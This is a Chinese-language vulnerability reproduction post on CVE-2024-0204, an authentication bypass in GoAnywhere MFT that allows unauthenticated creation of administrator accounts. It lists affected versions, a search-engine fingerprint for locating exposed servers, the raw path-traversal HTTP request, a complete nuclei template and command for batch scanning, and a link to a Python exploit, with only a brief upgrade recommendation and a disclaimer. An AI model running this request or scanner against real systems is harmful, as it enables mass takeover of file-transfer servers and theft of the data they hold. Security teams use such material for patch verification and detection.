免责申明：本文内容为学习笔记分享，仅供技术学习参考，请勿用作违法用途，任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责，与作者无关！！！
01
—
漏洞名称
Goanywhere MFT 未授权创建管理员漏洞
02
—
漏洞影响
影响版本
6.x >= 6.0.1
7.x < 7.4.1
03
—
漏洞描述
GoAnywhere MFT是一个安全的文件传输软件解决方案，它简化了系统、员工、客户和贸易伙伴之间的数据交换。旨在通过其集中控制和广泛的安全设置，为组织提供一个高效、安全的文件传输环境。该漏洞存在于GoAnywhere MFT 中，是一个身份认证绕过漏洞。未经身份验证的远程攻击者可利用该漏洞，绕过身份认证，通过管理门户创建管理员用户。
漏洞分析可以参考博客
https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/04
—
body="InvalidBrowser.xhtml" || icon_hash="1484947000" || icon_hash="1828756398" || icon_hash="1170495932"
05
—
漏洞复现
POC数据包如下
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1Host: 192.168.40.130:8000User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip
如果响应内容中包含关键字
Create an administrator account
则存在漏洞
由于是get请求，直接使用浏览器可以直观看到有个创建用户的界面，可以直接创建管理员用户。
漏洞复现成功
06
—
漏洞批量扫描脚本
nuclei poc文件内容如下
id: CVE-2024-0204info:name: Fortra GoAnywhere MFT - Authentication Bypassauthor: DhiyaneshDKseverity: criticaldescription: |Authentication bypass in Fortra's GoAnywhere MFT prior to 7.4.1 allows an unauthorized user to create an admin user via the administration portal.reference:- https://my.goanywhere.com/webclient/ViewSecurityAdvisories.xhtml- https://www.fortra.com/security/advisory/fi-2024-001- https://github.com/horizon3ai/CVE-2024-0204/blob/main/CVE-2024-0204.py- https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/classification:cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hcvss-score: 9.8cve-id: CVE-2024-0204cwe-id: CWE-425metadata:verified: truemax-request: 1shodan-query: http.favicon.hash:1484947000,1828756398,1170495932 || html:InvalidBrowser.xhtmltags: cve,cve2024,auth-bypass,goanywherehttp:- method: GETpath:- "{{BaseURL}}/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml"matchers-condition: andmatchers:- type: wordpart: bodywords:- "Create an administrator account"- "goanywhere"condition: and- type: statusstatus:- 200# digest: 490a0046304402204cf4124e1cf41e749682dfd2780edee610ad177d8f87b7e5adfaad7e1deaf55602200b1c67b0a6ee6be3e4fc0b8a89ae9672ae6995e4dce26b247f1881f6b4954312:922c64590222798bb761d5b6d8e72950
运行POC
nuclei.exe -l data/GoAnywhere-MFT.txt -t mypoc/cve/CVE-2024-0204.yaml
github上也有python扫描脚本，喜欢python的可以下载使用
https://github.com/horizon3ai/CVE-2024-0204/blob/main/CVE-2024-0204.py07
—
修复建议
升级到最新版本。
08
—
原文始发于微信公众号（AI与网安）：CVE-2024-0204
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论